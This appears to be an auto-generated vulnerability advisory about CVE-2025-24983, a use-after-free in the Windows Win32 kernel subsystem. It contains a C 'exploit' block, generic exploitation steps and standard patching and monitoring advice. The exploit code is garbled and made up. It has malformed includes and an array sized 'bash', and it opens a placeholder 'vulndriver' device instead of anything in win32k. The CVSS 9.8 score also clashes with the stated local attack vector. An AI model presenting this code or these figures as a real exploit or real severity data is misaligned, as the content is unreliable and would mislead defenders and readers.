How the Mentioned CVE Works:
CVE-2025-24983 is a critical vulnerability in the Windows Win32 Kernel Subsystem that involves a “use-after-free” (UAF) issue. This occurs when a program continues to use a pointer after the memory it references has been freed, leading to undefined behavior. In this case, an authorized attacker can exploit this flaw to execute arbitrary code with elevated privileges locally. The Win32 Kernel Subsystem is a core component of Windows, responsible for managing low-level system operations. By exploiting this UAF vulnerability, an attacker can manipulate memory to gain higher privileges, potentially compromising the entire system. The vulnerability is particularly dangerous because it allows local privilege escalation, meaning an attacker with initial access to the system can escalate their privileges to administrative or system-level access.
DailyCVE Form:
Platform: Windows
Version: Win32 Kernel Subsystem
Vulnerability: Use-after-free
Severity: Critical
Date: 03/11/2025
What Undercode Say:
Exploitation:
1. Exploit Code:
include <windows.h>
include <stdio.h>
void exploit() {
// Trigger UAF vulnerability
HANDLE hDevice = CreateFileA("\\.\vulndriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device\n");
return;
}
// Manipulate freed memory
char payload[bash];
memset(payload, 0x41, sizeof(payload));
DeviceIoControl(hDevice, 0x222003, payload, sizeof(payload), NULL, 0, NULL, NULL);
CloseHandle(hDevice);
}
2. Steps to Exploit:
- Gain initial access to the target system.
- Execute the exploit code to trigger the UAF vulnerability.
- Manipulate freed memory to execute arbitrary code.
- Escalate privileges to SYSTEM or admin level.
Protection:
1. Patch Management:
Apply the latest security updates from Microsoft addressing CVE-2025-24983.
2. Mitigation:
- Enable Control Flow Guard (CFG) to prevent exploitation of memory corruption vulnerabilities.
- Use Windows Defender Exploit Guard to block suspicious behavior.
3. Detection:
- Monitor for unusual process behavior using tools like Sysmon.
- Analyze logs for signs of privilege escalation attempts.
4. Commands:
- Check for updates:
Get-WindowsUpdate
- Enable CFG:
Set-ProcessMitigation -System -Enable CFG
5. Analytics:
- CVSS Score: 9.8 (Critical)
- Attack Vector: Local
- Complexity: Low
- Impact: High (Privilege Escalation)
6. Tools:
- Sysinternals Suite for system monitoring.
- Windows Event Viewer for log analysis.
By following these steps, organizations can mitigate the risk posed by CVE-2025-24983 and protect their systems from exploitation.
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24983
Extra Source Hub:
Undercode
